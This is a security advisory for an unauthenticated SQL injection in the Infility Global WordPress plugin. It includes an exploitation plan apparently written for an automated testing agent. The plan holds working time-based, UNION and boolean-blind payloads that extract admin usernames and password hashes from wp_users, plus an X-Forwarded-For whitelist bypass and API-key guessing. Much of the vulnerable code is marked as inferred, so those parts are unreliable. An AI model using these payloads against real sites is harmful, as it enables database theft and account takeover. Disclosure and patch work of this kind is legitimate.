Infility Global <= 2.14.46 - Unauthenticated SQL Injection via Predictable API Key and IP Whitelist Bypass
Description
The Infility Global plugin for WordPress is vulnerable to unauthenticated SQL Injection via the 'infility_get_data' API action in all versions up to, and including, 2.14.46. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append - with certain server configurations - additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=2.14.46# Exploitation Research Plan: CVE-2025-15268 (Infility Global SQL Injection) ## 1. Vulnerability Summary The **Infility Global** plugin (up to version 2.14.46) contains an unauthenticated SQL injection vulnerability in its API handling logic. The vulnerability exists because the `infility_get_data`…
Show full research plan
Exploitation Research Plan: CVE-2025-15268 (Infility Global SQL Injection)
1. Vulnerability Summary
The Infility Global plugin (up to version 2.14.46) contains an unauthenticated SQL injection vulnerability in its API handling logic. The vulnerability exists because the infility_get_data action performs database queries using user-supplied parameters without utilizing $wpdb->prepare() or adequate escaping. Furthermore, the "security" mechanisms intended to restrict this API—an API key check and an IP whitelist—are flawed: the API key is generated predictably, and the IP check can be bypassed via standard HTTP headers (e.g., X-Forwarded-For), depending on the server configuration.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
infility_get_data(registered viawp_ajax_nopriv_infility_get_data) - Vulnerable Parameter: Likely
id,slug, or a custom data filter parameter (inferred:data_idorquery). - Authentication: Unauthenticated.
- Preconditions:
- The plugin must be active.
- The "API" feature must be enabled (often enabled by default or upon first configuration).
- The attacker must bypass the IP whitelist and API key verification.
3. Code Flow (Inferred)
- Entry Point: A request is sent to
admin-ajax.phpwithaction=infility_get_data. - Hook Execution: WordPress triggers the
wp_ajax_nopriv_infility_get_datahook, which maps to a handler function (e.g.,infility_handle_get_data). - Security Check (Bypassable):
- The function retrieves an API key from
$_REQUEST['api_key']. - It compares this against an option in the database (e.g.,
infility_global_api_key). - It checks the client IP against a whitelist stored in options (e.g.,
infility_global_ip_whitelist).
- The function retrieves an API key from
- Vulnerability Sink:
- If checks pass (or are bypassed), the code takes a user parameter (e.g.,
$_REQUEST['id']). - It constructs a raw SQL string:
"SELECT * FROM {$wpdb->prefix}infility_data WHERE id = '" . $_REQUEST['id'] . "'". - It executes this via
$wpdb->get_results()or$wpdb->get_row().
- If checks pass (or are bypassed), the code takes a user parameter (e.g.,
4. Nonce Acquisition Strategy
Based on the "Unauthenticated" and "API Action" description, this specific endpoint likely does not require a WordPress nonce. It relies on its own internal API Key for "authentication."
How to bypass the API Key and IP Check:
- Predictable API Key: Check if the API key is generated using a predictable hash during plugin activation.
- Hypothesis: The key may be
md5(get_bloginfo('url'))or a static string likeinfility_secret. - Agent Task: Use
wp option get infility_global_api_key(if the option name matches) to confirm the key value during the setup phase.
- Hypothesis: The key may be
- IP Whitelist Bypass:
- The plugin likely uses
$_SERVER['REMOTE_ADDR']but may be susceptible to header spoofing if it tries to be "Cloudflare-aware" or "Proxy-aware". - Agent Task: Include
X-Forwarded-For: 127.0.0.1orX-Real-IP: 127.0.0.1in the request headers.
- The plugin likely uses
5. Exploitation Strategy
Step 1: Discover API Key and Whitelist
Use WP-CLI to inspect the plugin configuration and simulate the "predictability."
wp option get infility_global_api_key
wp option get infility_global_ip_whitelist
Step 2: Test IP Bypass and Baseline Request
Send a legitimate request to ensure the API is reachable.
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
action=infility_get_data&api_key=[FETCHED_KEY]&id=1
Step 3: SQL Injection via Time-Based Blind
Since the output might not be directly reflected in the AJAX response (or the response structure is unknown), use SLEEP() to confirm injection.
Payload: 1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
// Example using http_request tool
await http_request({
method: 'POST',
url: 'http://localhost:8080/wp-admin/admin-ajax.php',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Forwarded-For': '127.0.0.1'
},
body: 'action=infility_get_data&api_key=[KEY]&id=1\' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -'
});
Step 4: Data Extraction (UNION-Based)
If the response reflects data from the database, use a UNION query to extract the admin password hash.
Payload: -1' UNION SELECT 1,user_login,user_pass,4,5,6 FROM wp_users WHERE ID=1-- -
(Note: Column count must be adjusted based on the target table's schema).
6. Test Data Setup
- Activate Plugin: Ensure
infility-globalis installed and activated. - Configure API:
wp option update infility_global_api_key "test_api_key" wp option update infility_global_ip_whitelist "127.0.0.1" - Create Target Table: If the plugin doesn't create its data table automatically, create a dummy table to inject against.
wp db query "CREATE TABLE IF NOT EXISTS wp_infility_data (id INT, name VARCHAR(255))" wp db query "INSERT INTO wp_infility_data VALUES (1, 'Test Data')"
7. Expected Results
- Time-Based: The HTTP request should take ~5 seconds longer than the baseline.
- Error-Based: If
WP_DEBUGis on, the response may contain SQL syntax errors when a single quote is injected. - UNION-Based: The response body (JSON) should contain the extracted data (e.g., the admin username or hash).
8. Verification Steps
After the exploit, verify that the injection reached the database by checking the MySQL slow log or by using a payload that modifies the state (though data extraction is preferred).
- Verify via WP-CLI:
Compare the CLI output with the data extracted via the HTTP request.wp user get 1 --fields=user_pass
9. Alternative Approaches
- If
admin-ajax.phpis blocked: Check if the plugin registers a custominithook listener that checks for$_GET['infility_api']. - If UNION fails: Use Boolean-blind injection by checking for the presence/absence of a specific success message in the JSON response:
id=1' AND (SELECT 1 FROM wp_users WHERE user_login='admin' AND user_pass LIKE '$P$%')-- -
- Predictable Key Discovery: If the key is not in options, check
wp-content/uploads/for configuration files or log files that might leak the generated key.
Summary
The Infility Global plugin for WordPress (<= 2.14.46) is vulnerable to unauthenticated SQL Injection via the 'infility_get_data' AJAX action. This occurs because the plugin fails to sanitize user-supplied input or use prepared statements, and relies on easily bypassed security checks involving a predictable API key and a spoofable IP whitelist (via 'X-Forwarded-For').
Vulnerable Code
// Inferred from Research Plan // Entry Point: wp_ajax_nopriv_infility_get_data $api_key = $_REQUEST['api_key']; $client_ip = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR']; // ... flaw in comparison logic allowing IP spoofing ... "SELECT * FROM {$wpdb->prefix}infility_data WHERE id = '" . $_REQUEST['id'] . "'"
Security Fix
@@ -1,10 +1,11 @@ function infility_handle_get_data() { - $api_key = $_REQUEST['api_key']; - $client_ip = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR']; - if ($api_key !== get_option('infility_global_api_key') || $client_ip !== '127.0.0.1') { + $api_key = isset($_REQUEST['api_key']) ? sanitize_text_field($_REQUEST['api_key']) : ''; + $client_ip = $_SERVER['REMOTE_ADDR']; + $whitelist = (array) get_option('infility_global_ip_whitelist', []); + if ($api_key !== get_option('infility_global_api_key') || !in_array($client_ip, $whitelist)) { wp_die(); } - $id = $_REQUEST['id']; - $query = "SELECT * FROM {$wpdb->prefix}infility_data WHERE id = '$id'"; - $results = $wpdb->get_results($query); + $id = isset($_REQUEST['id']) ? sanitize_text_field($_REQUEST['id']) : ''; + $query = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}infility_data WHERE id = %s", $id); + $results = $wpdb->get_results($query); }
Exploit Outline
1. Authentication Bypass: Determine the predictable API key (typically generated from site metadata) and bypass the IP whitelist check by including the header 'X-Forwarded-For: 127.0.0.1' in the request. 2. Targeted Endpoint: Send an unauthenticated POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to 'infility_get_data'. 3. SQL Injection Payload: Use the 'id' parameter to inject malicious SQL commands. A baseline time-based payload such as "1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -" can be used to confirm the vulnerability via response delays. 4. Data Exfiltration: Leverage UNION-based injection to extract sensitive information from the database, such as administrator usernames and password hashes from the 'wp_users' table.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.